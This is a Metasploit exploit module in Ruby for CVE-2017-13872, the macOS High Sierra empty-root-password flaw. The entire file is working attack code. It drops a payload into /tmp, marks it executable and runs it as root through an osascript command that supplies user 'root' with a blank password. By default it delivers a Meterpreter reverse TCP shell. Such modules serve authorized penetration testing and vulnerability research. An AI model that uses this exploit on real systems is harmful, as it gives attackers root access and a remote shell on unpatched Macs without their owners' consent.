Mac OS X Root Privilege Escalation

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Post::OSX::Priv
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'          => 'Mac OS X Root Privilege Escalation',
      'Description'   => %q{
        This module exploits a serious flaw in MacOSX High Sierra.
        Any user can login with user "root", leaving an empty password.
      },
      'License'       => MSF_LICENSE,
      'References'    =>
        [
          [ 'CVE', '2017-13872' ],
          [ 'URL', 'https://twitter.com/lemiorhan/status/935578694541770752' ],
          [ 'URL', 'https://news.ycombinator.com/item?id=15800676' ],
          [ 'URL', 'https://forums.developer.apple.com/thread/79235' ],
        ],
      'Platform'      => 'osx',
      'Arch'          => ARCH_X64,
      'Author'         => [
        'chethan177',  # earliest public discovery
        'lemiorhan',   # making this well-known via Twitter
        'timwr',       # Metasploit module
      ],
      'DefaultOptions' =>
      {
        'PAYLOAD'      => 'osx/x64/meterpreter_reverse_tcp',
      },
      'SessionTypes'  => [ 'shell', 'meterpreter' ],
      'Targets'       => [
        [ 'Mac OS X 10.13.1 High Sierra x64 (Native Payload)', { } ]
      ],
      'DefaultTarget' => 0,
      'DisclosureDate' => '2017-11-29'
    ))
  end

  def exploit_cmd(root_payload)
    "osascript -e 'do shell script \"#{root_payload}\" user name \"root\" password \"\" with administrator privileges'"
  end

  def exploit
    if is_root?
      fail_with Failure::BadConfig, 'Session already has root privileges'
    end

    payload_file = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}"
    print_status("Writing payload file as '#{payload_file}'")
    write_file(payload_file, payload.raw)
    register_file_for_cleanup(payload_file)
    output = cmd_exec("chmod +x #{payload_file}")
    print_status("Executing payload file as '#{payload_file}'")
    cmd_exec(exploit_cmd(payload_file))
  end
end